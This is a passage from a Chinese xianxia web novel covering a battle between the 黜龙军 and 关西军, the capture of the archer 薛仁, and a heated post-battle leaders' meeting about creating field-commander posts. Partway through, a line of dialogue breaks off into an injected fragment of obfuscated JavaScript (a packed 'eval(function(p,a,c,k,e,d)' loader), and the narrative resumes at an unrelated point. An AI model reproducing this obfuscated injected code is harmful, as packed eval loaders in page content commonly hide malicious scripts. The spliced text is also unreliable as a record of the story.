且说,开战时便起了风,此时秋风猎猎,卷动了战场上双方无数的旗帜与披风,再加上随着战场被军士、战马反复踏破,更是时不时卷起烟尘来,至于双方之喊杀,金铁之交鸣,金鼓之轰然,更是如雷灌地。 故此,从张行视角来看,彼处的一些动态,真就只是一面旗帜在烟尘中穿过黜龙军一营军阵罢了,并无其他。 但土坡这里,谁不曾经历过战事之残忍,又如何不晓得,只是这个过程,旗帜与烟尘之下,就要有多少勇气、鲜血与兵戈被抛洒在这片土地上呢? “战后一定要努力控制住战场,最起码也要与对方相约收尸。”张行向秦宝提了一嘴。 秦宝只能点头,却又皱着眉头看向了西面的肉搏战线。 另一边,兴奋而去的尉迟融上来便遭遇到了一个措手不及的问题,那就是自家兵马太多了……这不是开玩笑,实在是对方的这队骑兵过于精锐,偏偏又只有百余骑,在薛字大旗的带领下,东冲西折,所向披靡,而尉迟融自诩修为武力兵马都强过对方,却屡次受制于自家军阵,宛若猎犬遇到了在瓶瓶罐罐间乱窜的老鼠! “冯头领!”尉迟融既怒,便直入阵中来呵斥当前营将。“你部须认得我旗号,稍作避让。” 冯惮也明显焦急:“尉迟大头领这是强人之难!我部是新编的战兵,偏偏战前有军令,务必维持军阵听从徐副指挥的指挥……若真步步让了你,我的军阵就散了!” “那薛贼往来冲刺不能抵挡,你的军阵就不散?”尉迟融再度呵斥。 冯惮大怒:“贼人来攻,我不能抵达,散了军阵,总有我和军士的性命来撑着脸面与首席说这叫力不能敌,可尉迟大头领要我平白来散军阵,这叫什么?!我有军令在身的!” 尉迟融见说不过,更兼远远窥见那薛字大旗在阵前斜斜插过去,赶紧勒马向前。 这一次,姓薛的将军依旧狡猾,望见尉迟大旗过来,早晓得是从黜字旗下分出来的踏白骑,立即便折出阵去……待到尉迟大旗追出,薛字旗居然复又冲回阵中。 这次轮到尉迟融大怒了,虽然隔着层层兵马看不清楚,却不耽误他指着对方旗帜大骂:“薛贼!莫要让我逮到你!” 其人本就声大,此时夹杂真气喷出,宛若雷鸣。 而薛字旗下,竟也有人借着真气鼓荡笑着回复了过来:“尉迟将军!你若能逮到我,我便伸出脑袋让你砍!” 尉迟融愈发气急,再度折入阵中,抬起头来,赫然发现原本苦苦追寻的对象就在身前百余步外,中间相隔的也是敌骑,不由大喜,当即提枪上前,放肆杀戮。 可是刚刚陷入这些金甲骑士之中,人还没杀几个,便又闻得外面一阵惊呼,尉迟七郎横枪来望,便见一箭如流星,从前头直直射向阵中之前自己所待之处,也就是营将冯惮旗下,随即炸裂开来,冯字将旗也直接崩落,也是不由心里发毛。 这还不算,随着风气暂落,他再往前望去,清晰可见,射箭之人一身白袍,身形雄壮,转过身来,甲胄却寻常,且年轻的过分。 那厮甚至又对尉迟融笑了一笑。 尉迟融惊怒交加,顾不得冯惮死活,直接拍马向前……其人的天赋、武艺、体格便是白三娘都赞赏有加,认为可以与秦宝、罗信、张长恭相提并论,此时晓得误了张首席的军令,彻底爆发,那些关西的金甲骑士便是强横又如何能当?更兼身后踏白骑蜂拥而至。 薛姓小将一箭射出,又再度挑衅了一下尉迟融,便毫不犹豫按照原计划勒马冲出阵外,人都已经杀过一队堵截过来的**兵,却闻得身后惨叫连连,并有那巫族大汉奋力呼喊:“姓薛的!你要弃掉你这些兄弟吗?” 原来,便是尉迟融也看出来,这支兵马早有分工,看到他来追击,立即分出二三十骑拼死阻截,剩下的却还是随着薛字旗冲了过去,所以临阵激他。 孰料,薛姓小将回头看了一眼,竟然没有被激,只是低头俯在马上一箭回应,然后再度冲了出去。 尉迟融此时反而冷静,并不着急去追索,只是认真绞杀身前断后的这二三十骑,他倒想看看,这区区百余骑还能断几次后?! 尉迟融与薛仁之间的交锋当然引人注目,因为他俩人和所领兵马在这个战场上具有战力的碾压性,寻常将士只能成为他们作画的底色,但是到了这个时候,小土坡上,张行一众人的注意力却已经全然转移了。 因为前线在败退,很明显的败退。 张行立高望远,更兼修为到了一定份上,感知清晰……黜龙军分营,而且严格执行了维持军阵阵型的军令,所以块垒明显,真真如棋子一般排布,哪怕是存在着薛字旗这种小股骚扰部队也没用动摇整体布局,一直到最前线才因为交战铺陈开来,成为一条线;与此同时,关西军看似一体,其实分成了条形,最少五个一卫将军级别的指挥官各自负责一段展现,其部下数位中郎将或骑或步反复轮番向前冲击。 这种情况下,若是黜龙军兵将弱一些,不停往后退,也就罢了,那只是落于下风,战线后移而已,依然算是相持,坚持到傍晚,大家没了力气,也就自然而然一个平手。 但问题在于,黜龙军没能维持住战线,因为营将制度下,想要维持战线不得不进行前后营的交替,而整营整营的调度又过于庞大,这就使得每次交替轮换时战线上都会出现一些缺口,而缺口很快被渗入,就会造成战术穿插与半包围,使得战线无法维持。 “要溃下来了?”魏文达扭头去瞥张行脸色,发现对方虽然很关注前线,却没有些许色变,这才敢出声询问。 “是败下来,不是溃下来。”秦宝也望着前方目不转睛,但稍微知情的他还是做出了回应。 “有什么区别?”魏文达真的发懵了,他一个野路子出身的幽州骑兵大将是真不懂这些人想法,他连这是个**问题还是军事问题都有些懵。 “有区别的。”秦宝肃然道。“王翼部马分管那边其实想到过眼下这种情况,设计了一个备案,关键就是看部队能不能在这种情形下依旧立住阵脚……” “战线被破,各营立住阵脚?”魏文达愣了一下。“这不是被人包围了吗?” “双方都有五六万众,谁包围谁?”秦宝耐着性子解释。“关键是不能让他们渗入太多兵马,从战线阻拦变成层层阻隔。” “这倒是……”魏文达看着黜龙军的阵型,倒是有些醒悟。“但何必弄险?前头的几个营撑不住怎么办?” 秦宝终于无语:“魏公,我们是准备好,不是计划好……真要是能一口气压到河阳城下难道不好?” 魏文达这才回过神来……黜龙军是真不行,不是要搞什么阴谋诡计,弄什么险。 “咱们就在这儿。”张行忽然开口吩咐。“战线越过我们,我们就起真气大阵,战线不越过我们……去把尉迟七郎唤回来,秦二你与他轮番出阵去支援最前头几个营。” 秦宝得令,连忙向旁边的旗手下令,打旗语让人回来,而张行则趁势扭头看向牛河,低声交代:“牛公,待会真要起真气大阵,你要帮忙多看下徐大郎……他才是这一战的指挥,若天王不能顾及,咱们也要尽量遮护。” 牛河微微颔首,然后立即紧张的去看前线去了。 前线果然在败退。 大约小半个时辰之后,太阳完全偏西的时候,徐大郎在后方的将台上,清晰的看到自己的小兄弟,无论如何都算是他嫡系的郭敬恪营第一个全营无法立足,整个散下来退了回来。 “烂泥扶不上墙。”徐世英气急败坏,直接骂出了声,俨然不晓得这厮之前已经被张大首席立为黜龙帮不计出身的典型,便是晓得,这个时候的徐大郎只怕会更破防。“看看冯惮!伤了腿都没撤!绑在马上指挥!看看他!” “副指挥不必过虑。”许敬祖在侧赶紧来劝。“战到此时,只是一个营溃掉,已经足够好了!日子长着呢,这是头一仗,往后只会越来越好。” 徐大郎摆了下手,转身坐回到将台上准备好的桌案后,却没有看地图,只是以手握拳顶住上唇,不知道在想什么。 周围人都屏息凝气,大家都晓得,这是这位徐总管第一次名正言顺的做中军指挥,而且局势也的确有些让人忧虑。 倒是雄伯南,他根本不在意徐世英的紧张,立即来问:“要不要我动起来?” “不用。”徐世英摆手。“除非前面完全垮下来,否则这一仗有的打,咱们的优势也是拖着打……留越多后手越妥当!” 雄伯南点点头,但还是不安,又去看许敬祖。 许敬祖低声解释:“天王,你路上来的快,没听到首席他们讨论……这一战是这样的,不是我们想着拖延,而是我们的长处在于后勤与兵员补充,越往后咱们就比关西人越了……但咱们又不能一下子跳过去直接打往后面的仗,得先打了,有了足够的消耗,才能强起来。再加上咱们刚来,连营寨都不牢固,也没有道理不上来展示战力,所以才有今日这一战……这一战,有功固然好,不然只是稳住场面,就算赢了。” 雄伯南看了许敬祖一眼,复又看向前线,明显遮掩不住心里的焦虑。 还是那句话,大军垮下来了,一个带一个的崩盘了,又如何? 实际上,随着雄伯南扭头看向后方的温城,更是觉得头皮发麻,因为那里已经接触到了溃兵,并且明显是在马围的下令下开始在城前空地上堆放车垒以抵御万一的冲击了。 没有比这种坐视着局势发展,尤其是可能往崩坏方向发展的局势更让人揪心的了,张行如此、徐世英如此、雄伯南也如此。 当然,黜龙军没有那么拉胯,否则也不会一步步到如今基业了。 很快,随着关西军的推进,黜龙军前军退潮一般的后移,固然有冯惮营这种先天不足又损失极大,头领也受伤的营头直接崩溃,可前军三个强点也出现了——分别是左翼王叔勇营,右翼徐师仁营,中间王雄诞营……或者说是张行带领的三位宗师加踏白骑再加王雄诞这个昔日张行直领营。 这还不算,得益于此,很快又有几个营立住了脚,与这几个营形成了犄角之势,中军的韩二郎营、郝义德营,左军也有个夏侯宁远营。 说不上是幸运还是不幸,事先安排好的前军定海神针发挥了作用。 而对于另一方的关西军来说,这似乎是个战机。 但是,就在前军立定,望着引以为傲的关西军排山倒海一般涌向敌阵的白横秋此时却明显疑虑起来了。 倒不是犹豫要不要继续打这么简单,而是说,他这个层次如果需要考虑的只有一件事,那就是如何彻底消灭黜龙军以及司马正的东都势力,完成一统。 他原本的计划是,顶住河阳,然后在内部摇摇欲坠的东都势力面前堂而皇之的击败黜龙军,从而进一步动摇东都……甚至,他都没准备一次就能成功,而是多次多种的胜利,在河内这里击败黜龙军,在南阳一带肃清东都的外围势力,从弘农潼关那里再正经打一次,花个三年五载破掉东都都是可以接受的。 但不得不承认的是,刚刚阵前一番言语,无论是司马正还是张行都相当程度上动摇了他这位大宗师的某种想法。 同样不是说他就此不信自己能赢了,而是说即便是他也不得不接受两个年轻人的强横,无论是司马正的顽固,还是张行自傲,都让他感到不安。 而再进一步,即便是面对着眼前这一场仗,白横秋都有些疑虑。 这个疑虑就很简单了,如果黜龙军稳住了,没有崩盘,他需不需要使出全力,与张行带的几位宗师在这里大战一场? 甚至,哪怕是黜龙军兵败如山倒,张行自己先开了真气大阵,自己真要跟上? 说句不好听的,他几乎可以肯定,司马正正在后面看着呢! 这厮便是个必死之局面,可能耐和脾气在那里,只要自己占优,他必然会助张行……可难道要自己诈败,等这厮来助自己?平心而论,要不是早就晓得对面是实打实的乌合之众,白皇帝甚至觉得现在是对方在诈败。 不亲身做决战,眼下局面,未免可惜。 只能说,虽然对了却北面三家事、一统四海的难度早有预料,可真上手起来未免太难了。 就在白横秋陷入胜利者的烦恼之时,其人身侧,中军后续部队也终于蜂拥呼喊而过,如潮水般争先恐后的往黜龙军军阵而去……很显然,白横元可没有理由跟他的皇帝堂弟一般迟疑,在确定了战况后毫不犹豫便下达了军令,发动了总攻,以求包裹住黜龙军在前方支撑的精锐部队。 一旦形成包围并攻破一二,后面便是倒卷珠帘一般的大胜……当然黜龙军的高手肯定会出手,而大英也有一位大宗师皇帝……要是大皇帝被司马正与张行联手从天上拍下来,那也不关下面将士们的事情,对不对? 唯一担心的是,会不会需要战场上的十来位成丹一起出动? “开始了。” 张行目送着那些关西军从自己身侧绕开,往身后黜龙军军阵深处而去,终于放开了架子,忍不住嘀咕了一声。 “算了!”战场西北面十来里的地方,盘桓了一下午都没有找到的战机的刘黑榥终于也放弃了多余念头。“营盘碰不得,全军回师,支援右翼的徐龙头!千万不能在这里折了他!” “再等等!”中军将台处,徐世英立在自己大舅子替天行道大旗下,望着远端如潮水般涌来的关西军,强压住自己的不安,脱口而出的话也不知道是说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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整体来说,他让退下来但没失去战斗意志和建制的十几个营撤到自己跟前休整,让原本停留在中军的几营生力军与轮换下来的十来个营尽量拉开距离立定,所有人都不许再尝试组织战线抵抗……但休整的部队很快被他下达了复杂的新的指令,有的向前去填充什么地方,有的向两翼去延展,有的被要求扔下多余装备只保留**,有的一撤下来就不再有多余消息,只是愣在那里歇着;相对应的,十几营中军的要求也是五花八门,这个要补充箭矢**,那个要建立防御阵地,还有的被要求随时做好反扑准备,甚至具体到这个营应该松散一点,那个营应该往前靠一靠。 这么搞的后果就是,饶是徐大郎是建帮时便成的军中一极,所谓根基深厚,威望卓著,也不耽误此时许多头领对他派来的参军们直接骂娘!甚至有人知道雄天王也在那里不动,不去支援张首席,还骂徐大郎的姐姐! 不过很快他们就不骂了,因为敌军已经追到跟前了,先是零散的部队,然后是成队成队的部队,少则上百,多则三五百,黜龙军中军各营不得不打起精神应对。 而后,上千人的部队出现了,这是典型的中郎将级别的队伍,从建制上说,少则千人,多则三千,是对应着黜龙军各营的关西军建制。 坦诚说,局势发展到眼下,即便是黜龙军中军各部都有些慌了,因为如果接下来冲过来的是更多的、连成一片的上万人规模部队,他们也会如同前军一样被包围起来。 但没有,等了一阵子,没有等到这种规模的敌军……原因一目了然,前方的红底黜字旗还立着呢!左右王叔勇、徐师仁那标志性的断江真气长箭也时不时的在空中闪过。 别说这些人吸引住了大量的敌军,就算是关西军没有包围他们的意思,超过万人的大队人马越过这条线也会自然散开。 再然后,军令就来了。 阚棱得到了第一个军令,却不是去顶住张首席身后,反而是让他往左后方某位薛姓中郎将及其两千部众发动冲锋。 若换成别人,可能还会质疑和犹豫,但阚棱自诩本部兵马精锐,正要显出淮右盟的本事来,而且他也不担心那位张首席死活,如何会拒? 军令一下,立即启动,这支今日只在阵前热过身子就撤下来的淮西**子弟兵马上完成了战术动作,冲杀的陇西名将薛立一时立足不得,当场便要转移……然而,身后是没法退的,不止是军纪那么简单,关键是后方通道是被堵塞的,挨了这一闷棍般的突袭又不敢深入,只能往另一侧北面走。 然而,薛立部众仓皇随着旗帜向北,却迎面撞上一个大盾****俱全的黜龙军营头,对方阵地森严,一时根本冲不开,偏偏身后那些堪称精锐的淮西兵寸步不让,竟然逼的薛立部当场散开——薛立还想领着人从东面绕过这个营头,但其部很快就被阚棱亲自带领亲卫追上分割开来,大部分部众只能眼睁睁望着旗帜往东走,自己则被在失去指挥的情况下往北走。 这种“走”也迅速在追击下失序,之前还成团成股的大部队变成了自主行动能力的散军。 到此为止,阚棱不由在马上哈哈大笑,他如何不晓得,这是黜龙军的又一个小把戏呢? 确实是把戏,只是跟开战时那番箭雨相比,变成了更加考验整营部队执行力的分散合击战术……利用简单却又极度考验洞察力的指挥,总是让更多的部队去夹攻立足未稳不明黜龙军中军军情的关西军。 就像三支箭的箭雨战术成功掩盖了黜龙军新兵太多,缺乏自小的军事训练一样,黜龙军整营层面最大的毛病,也就是各营战斗力参差不齐的问题,此时居然也被这个战术遮掩住了! 没有进攻能力的,头领没凝丹的,你就站桩!守好你的阵地,做个栈板!让突击能力强的营头,让那些恨地无环的头领去做锤子! 这仗有的打! 徐世英居高临下,完成了第三次成功的突击后,白横秋注意到了情况,天生会下棋的他立即意识到对方是在做什么。 但是他能做什么呢?他也不能把陷入对方虎口的部队一个个拉回来呀? 很快,随着后方的黜龙军士气恢复,一个姓辛的中郎将干脆被吕常衡营驱赶到了张行身后,然后为踏白骑所卷落,便是白横元也意识到了情势不对劲起来……但他也无法! 真的无法,中军已经尽出,没法指挥,大营中还有足够的预备部队,但此时也不敢拉出来呀!司马正在河阳城看着呢! 这个时候,倒是白横秋思量片刻,主动下达了一个军令,他让随从禁卫去告诉白立本,集中前线部队**徐师仁……这是因为徐师仁所在的黜龙军右翼最前头只有一个营,很难支撑,此外徐师仁在西都大兴,也就是现在的长安居住了许多年,跟关西诸将很熟悉,双方知根知底。 换言之,如果能够及时突破徐师仁部,他们便能迅速打通一翼,连通陷入黜龙军中军的部队不说,黜龙军自己都要支撑不住眼下这个架构的。 然而,军令下达后不久,白横秋自己便第一个察觉到黜龙军骑兵大队折回的动静。 这让他再度陷入到之前的那种犹疑中,并且很快对此警惕起来——他不能迟疑,争天下的事情,怎么总是犹疑不定呢?便是下棋,也要改规矩了! 得失什么的,要认,而且要认的快。 一念至此,他扭头朝身侧禁卫叮嘱:“去告诉白橫元,朕的棋盘上摆够十颗棋子的时候,他要立即鸣金收兵!” 言罢,其人端坐马上不动,头顶却有辉光如笔尖划过,一道道,一条条,很快便有一面无沿棋盘出现在空中,然后迅速扩大……整个战场都喧哗起来,有些没跟上局势的关西军欢呼雀跃,还以为是战事上完全压倒了对方,陛下要亲自锁住对方的几位宗师呢;而黜龙军则立即意识到,自己刚刚获得的反扑优势怕是马上就要结束了,对方必然是因为这个才决定干涉战斗的。 张行瞥着嘴望着那面棋盘,身侧踏白骑已经紧急收缩了回来,牛河第一个放出如丝缕的长生真气,尝试先行联结起准备结阵的众人。 很快,棋盘上出现了一颗金色的棋子,不大,然后是第二颗,第三颗……张行看到了与多年前截然不同的场景……当年三颗棋子差点把整个黜龙帮打崩,现在又如何? 第四颗,第五颗,第六,第七……几乎每显化出一颗棋子,下方的关西军便会欢呼到震天动地,而黜龙军则紧张到不安的地步……渐渐地,连厮杀都不由自主的暂缓了。 第八颗棋子出现了,白横秋心里也烦躁起来,因为对面的张行根本没有启动阵法与他显圣相争的意思,好像在看什么街头把戏一般,就那么侧着那匹龙驹的身子,望着头顶发呆……这不对劲!他原本以为对方会为了维护士气,也一步步显化,双方阵型一成,对峙的气氛压抑到极致,双方军队都生畏起来的时候,趁势退兵。 可是张行没有那么做,这厮就是那么认真的看着自己的棋子,好像小孩子认真数数一般。 这是不是说明,他真的不怕这些棋子了?哪怕现在有更多的棋子? 第九颗……当第十颗棋子在众人期待中缓缓显现出来以后,没有挤入对方中军的关西军士气愈发高涨,但也就是此时,白横元老老实实的遵从的旨意,后方各处一起鸣金收兵,代表了收兵的旗帜也被专门摇晃了起来。 关西军在这个表面上胜势最大的时刻,选择了撤退。 于是换成了黜龙军欢呼起来。 如潮水般来,如潮水般落,但不可避免的要在礁石坑内留下许多海水。 一支二三十人的骑兵衣甲凌乱,倒卷着旗帜从张行身侧路过,踏白骑仅仅挨着黜字旗列阵,并没有多余动作……实际上,整个前军都事实上被天上的棋子所震慑,或多或少的放任了这些人离开。 这支骑兵也是有惊无险的越过了黜字旗,然后和其他的关西军小队一样,本能加速起来,却又目标明确的斜着往白横秋的大纛下而归。 这似乎没有任何问题,直到他们忽然就转身往土坡上奔来。 为首一将,身着白袍,相隔百余步,便径直弯弓搭箭,在众人惊呼下往旗下来射! 说时迟,那时快,张行扭头去看,便见到一道白光飞来,复有一道绿幕升起,白光撞入绿幕,当即一滞,但竟然还是突破了进来,只不过又遇到一根带着电光的大铁枪,当面劈落。 身后尉迟融大怒,再度拍马上前,一众踏白骑也不再迟疑,纷纷跟上。 魏文达更是居高临下,将手中长刀猛地劈下,下一刻,黑色的弱水真气宛若一条黑龙一般从刀尖旋出,钻入地面不见。 偷袭的白袍小将见状不妙,扭头便跑,但刚走几步,跨下战马便嘶鸣一声,彷佛陷入泥淖一般,一个趔趄摔倒。 白袍小将情知是遇到了真正的高手,不敢有半分迟疑,哪怕是刚刚凝丹不久,也不顾一切的腾跃起来,但刚一起来,便见一条绿色如**的真气迎面兜来。 也是心惊。 然而,几乎是同时,一颗金色棋子陡然射下,直落在冲来的踏白骑群落中。 几乎是一瞬间,半空中的长生真气如同断了延续一般当场散开,而一股寒气却又从那群踏白骑中间升起。 棋子落下,炸开,却居然没有死伤累累,反而只是十数骑连人带马狼狈摔落,最严重的当场吐血……白袍小将空中看的清楚,金色棋子落入骑士集群前一刻,踏白骑周遭寒冰真气腾起,将棋子微微弹起,直接在半空中炸开,至于踏白骑很快显露也是因为真气被炸开所致,以至于外面人看起来,彷佛是踏白骑没有真气显化,棋子直接落下一般。 腾跃落地,白袍小将狼狈爬起,刚要离去,却闻得身后山坡上有人哈哈大笑,笑声被真气放大到云间,如神仙临地一般。 这还不算,笑完之后,又一个声音在身后响起:“穿白袍的战将,我家首席让你留下姓名!” 白袍小将专门穿了个白袍上阵,临时升了中郎将连旗帜都无,还要抢人家那位断手薛将军的旗帜来冲阵,为的是什么?当然是要显大名于两军阵前,自抬身价好升官呀! 故此,其人不顾一切转过身来,抬起手中炸开弓弦的宝弓,用尽平生力气回复:“河东薛仁是也!” 话音未落,脚下泥土忽然松软,他暗叫不好,赶紧再度腾空,却见一只金色龙爪当空落下……与此同时,又一颗棋子落下,在薛仁看不到的半空中,却有另一只金色的龙翼展开,当场被那颗棋子炸的破碎开来。 但棋子到底是没砸开龙爪,薛仁腾云驾雾起来,然后被拍翻在地,昏死之前看到的恰是今日与他纠缠了许久的黑脸大汉。 这场字面意义上一鳞半爪的真气对垒似乎又催化了两军的士气,在关西军撤军途中,双方重新鼓起勇气,战斗再度激烈起来……但即便是黜龙军,也在部队追到原本战线位置后,开始鸣金收兵。 第一战,竟是难说胜负。 PS:感谢哭泣天使与薛定谔的猫老爷上盟!万分感激! (本章完) 第八十五章 风霜行(4) “这一仗咱们黜龙军根本就是败了!尤其是右翼,根本就是一败涂地!” 温城内外,灯火通明,挖壕沟、立栅栏,转运物资、伤员,烧开水、做饭,甚至是控制战场,争夺装备、尸首……忙的一团糟! 而即便如此,黜龙帮也依旧坚持了他们那令人牙酸的传统——战后开会。 开会也不止一场会,后勤在开会,各营队将们与参军们在开会,头领们自然也在开会。至于这句震耳发聩的金玉良言,正是在头领会议上由刘黑榥刘大头领喊出的。 喊完之后,你还别说,温城府衙后院内原本有些沉闷的气氛立即就被打破了。 “刘黑榥!” 贾闰士毫不迟疑站起身来呵斥。“你也有脸来断胜败?今日我们苦战的时候,你在何处?你若是早早回身与我们夹击,我们能吃这么些亏?!” “贾闰士,你自在中军,吃了我什么亏?”刘黑榥才不顾忌对方是张首席嫡系呢,张口便点破了对方。“右翼那些头领若觉得是我废了局面,便该自己站起来说,我们黜龙帮什么时候不许人说话了,要寻你这个乡亲来代替?!” 这话点的过于直白了,贾闰士当场憋住。 而被点到的那些人,也就是济水下游出身的,如今被配置在徐师仁麾下的诸位头领也是面色红白不定,偏偏徐师仁面色不佳,从头到尾都没有驳斥刘黑榥,明显也有想法……见此情状,虽然不想惹事,可樊豹还是凛然起身呵斥:“刘大头领,那我来问你,若你手上四个骑兵营能早早回来与我们夹攻右翼之地,如何让徐龙头独立支撑?” 刘黑榥早就等着这句呢,立即指着对方鼻子嘲讽了回去:“这正是我想问的,我奉命率骑军游弋,首选难道不应该是趁你们与他们对峙激烈时去偷营?乃至于表面偷营,引得韩引弓、韩长眉来援再做伏击,又或者干脆再去偷河内郡城与石山去!结果呢?我如何等到你们对峙激烈的军情,反倒晓得后方呼啦就只剩下徐龙头一个营在支撑?便也最终回去救下了徐龙头!这等局面如何要来问我?!退十万步讲,你们只若能像左翼、中军一般,稍微多一个营留下来与徐龙头互成掎角之势,我回来多吃些西贼,今晚会多嘴?!” 樊豹一时语塞,右翼诸头领也都各自面色铁青。 “好了!”雄伯南听了半日,见到气氛僵住,终于蹙眉开口道。“说话就说话,不要指斥同列……个个都对着骂,推卸责任,会还怎么开下去?首席在视察伤员和营寨工事,现在没回来,咱们更要讲同列的义气!” 刘黑榥干笑了一声,率先摊开双手:“天王说的对,是我说话刺人,我不对,可有些话便是裹上蜜也总得让人说……咱们这一战,就是败了!气势汹汹而来,却差点全局崩坏,不能因为首席带着几位宗师撑住了场面,就把这事遮掩下去……次次这么弄下去,便是得了天下,天下人也只会说我们拖了首席后腿,让新天命晚了许多年才建起来。” 气氛有些凝重,大部分参战头领都还在愤愤,但也有几人低了头,包括王叔勇、徐师仁两位暂署龙头在内的几名高层更是从头到尾脸色难看的吓人。 当然了,也有阚棱这种立下大功同时看热闹不嫌事大的人在院子边缘靠着墙来看戏。 “打得不好是实话,但若说败也不至于。”停了片刻,徐世英的声音忽然在廊下响起。 “对外面当然要说胜……”刘黑榥不吭声了,徐师仁却是终于找到适合接话的对象,表明了态度。 众人心知肚明,王叔勇还好,他那里到底还有些支撑,后来反击也吃了不少,而且这位暂署龙头如今日渐的不愿意再跟徐大郎打擂台了,所以没吭声,可徐师仁今天是真危险,也是真有气。 “不是对外面,是这一仗咱们确实没败。”徐世英在廊下看了眼对方,认真解释道。“大的战略上来说,咱们本就是来对峙的,撑住局面即可;而只说这一战,咱们的损伤未必就比他们多……” 徐师仁微微一愣:“后面的斩获挺多?” “还在计算,而且现在战场上两家还有零星交手,怕是要明后日才能统计清楚……不过,我在后面中军看的清楚,总归后面是占了便宜的。”徐世英正色告知。 不少人松了口气。 “这是徐副指挥指挥得当。”徐师仁也稍作敛容来恭维。 “话虽如此……”徐世英没有做什么谦虚,而是继续蹙眉。“咱们的兵马比他们弱是实话,否则如何被人家冲动阵脚战线?被人冲到中军再反击,本是无奈到了头。” 这话又把气泄下来了。 “倒未必是咱们兵马比他们弱……而是说今天的局面,更多是咱们的兵马强弱不一,各营战力参差不齐所致。”此时,院外忽然传来一个声音,赫然是黜龙帮首席张行。 众人闻得他来,纷纷起身,便是阚棱也肃然起来——今日那龙爪龙翼虽然早听人说过,可亲眼见过后总还是要有些震动的。 “首席说的对,可若是如此,也委实无法。”徐师仁见张行到院子正中间寻条凳挨着自己落座,立即改了态度附和。“咱们要打大仗,还是多面开战,总要扩军的,而偏偏营头制度又是咱们帮内的根本,轻易动不得,所以到了这个地步……至于今日这一仗,能撑住便是极好的局面,以后那些新营头历练起来了,就什么都不怕了。” 这话说到后来,根本不像是回应张首席,而是挨着身侧张首席,面朝周围头领们做宽慰了。 闻得此言,便是之前最赳赳的刘黑榥也只是张了下嘴,竟没有吭声。 “既然知道是弱点,就总要更正的,不能硬着头皮来,何况是性命相关的军事。”张行摆手道。“就好像咱们的兵,尤其是新兵,到底不如人家关西百多年的府兵底子,所以才搞了一人三矢的方略,这次效果也很好……至于各营战力不一的问题,军务部和王翼部同样早就意识到了,不然也不会设计一个精锐在前维持,各营在后方听指挥配合的后手……但要我说,还是不足。” “那也没什么法子了。”刘黑榥悻悻且焦躁道。“一来怎么算都有新兵,二来,便是给几位领兵妥当的营头们加编制,那也是往后的事情……而且不是说了嘛,营头制度是咱们的根基,连我都晓得轻易动不得。” “确实,有些是硬伤,急不得也没办法。”张行点头认可。“可这一次徐副指挥和马分管的战术委实出色,咱们最起码应该从组织上设计一下,尽量发挥这个战术的优势……我的意思是,咱们就不要说什么大头领可以指挥附近的头领了,仿照暴魏之前的制度,设立个行军总管、分管,建立营头之间的指挥关系又如何?” 周围莫名有些安静,安静中隐隐又有些不安之态,连刘黑榥也只是摸鼻子。 无他,王叔勇跟徐师仁都暂署龙头了,谁都能指挥的动,这个东西是无所谓的,而刘黑榥看起来最需要这个,但他这个人善于钻营,早早获得了骑军的指挥权和独立行动权,早就成实际上的骑军总管了……所以,他们其实并不在意这个,反倒是下面的这些占了大多数的头领们,固然有人怦然心动,可更多的今日表现不佳的,哪个不担心自己成为行军总管的踏脚石? 会不会就此失了营头指挥权、人事权? “首席准备做到什么地步?”一念至此,倒是雄伯南先发问了。 “第一是跟前魏的规矩一样,只是临时举措,有战时才设立,战后自消;第二是规制不宜过大,否则便失了战术上配合的本意,三五营一总管或分管便可。”张行张口言道。“第三,既是要强化联系,就不能只担任个名头……行军总管在的时候,有权责对所辖各营头临战表现进行统计与汇报,包括队将、准备将一层在战阵中的军功得失,升迁黜落,只要上头还有行军总管,也要经过行军总管的署名。” 话到了这里,院中终于按耐不住,火把火盆之间,一时议论纷纷,众人哪里还不明白,这个行军总管、分管的制度是要弄真的了。 便是几位资历大头领也展颜开来,不管如何,日后想做龙头,只军中来言,总得先从这个台阶上去。 一时间,刘黑榥、夏侯宁远、王雄诞几人不免昂然,这与其余头领的不安形成鲜明对比。毕竟,张首席的威望已经毋庸置疑,他在军中这般说,便无人可以反驳了。 院中一时只有一个阚棱,下定决心要与对方说清楚,他自是客军,此战又有战功,可不愿受谁来管辖……只不过,转念一想,若是大局如此,不好推辞,那是不是让王雄诞来做自己上面的总管呢? 正想着呢,坐在院子正中心的张行已经继续开口:“具体人选如何,我的意思是,先听大家的,大家心里信服谁,可以待会来做商议,跟天王那里透个底……不过便是如此,我也要做个提醒,军务有专攻,不可能你们报上去什么就是什么,我跟天王、徐总管、马分管夜里还要决议一下,最后肯定会有调整,而等到徐总管这里真发表了,就要依着军律执行到底,不可以做什么折扣的!” 阚棱晓得到了关键,便要言语。 孰料,张行话语根本不停:“不过在这之前,我先来做个推荐……不管如何,今日功勋第一的阚棱阚大头领,是一定要做一位行军总管的。” 众人哗然,纷纷去看阚棱,后者更是措手不及……但旋即醒悟,人家是来拉拢自己了,唯独心中则警醒之余又不免多了几分嘲讽之态,自己岂是区区名位便能动摇之人? 既如此,平白的便宜为何不占? 一念至此,其人干脆昂然受之:“张首席与我三五个营,我自能壮之!” 周围将领见状,不由无语——倒不是嫌弃他是个外人,淮右盟的**兵都来三茬了,战力都不赖,不差这一个,但这厮这般干脆,委实傲慢过了头,哪怕今日淮西兵确系有大功,也还是让人不舒服。 而张行见到对方反应,反而大笑,然后起身环顾,言之凿凿:“诸位兄弟,今日之战,咱们确实称不上胜,但为此沮丧起来却大可不必……何不看看阚大头领的豪气,跟他学一学?” 周围头领打量阚棱的眼神愈发不善,而阚棱既察觉到这些人的态度,反而昂然不动。 张行则趁机来言:“诸位兄弟,依我看,咱们固然有咱们的短处,兵弱、战力参差,可有咱们的长处,将领敢战,身先士卒,算不散?今日院子里谁没有亲自上阵格杀的?就好像冯惮冯头领,第一次上阵,腿都折了,还亲自断后,如今被俘,咱们无论如何也要把他带回来的,前面已经遣人去谈了,就用那个薛仁去换好了,他虽然厉害,但跟咱们的兄弟比,就什么都不是!” 这话冠冕堂皇,便是真有些觉得薛仁换冯惮不值当,也只会压着心思点头附和的。 “而且,咱们的军士也是好样的,虽然战斗经验和技巧差了些,可却上下一心,纪律严明。”张行声音越来越大。“就今日的局面,换作其他兵马,早就在撤退时坏了,咱们能撑住不溃散,继而在中军反击,不是靠什么运气,就是咱们的兵心里明白,知道黜龙帮、大明跟他们是一体的,所以敢战、愿战!” 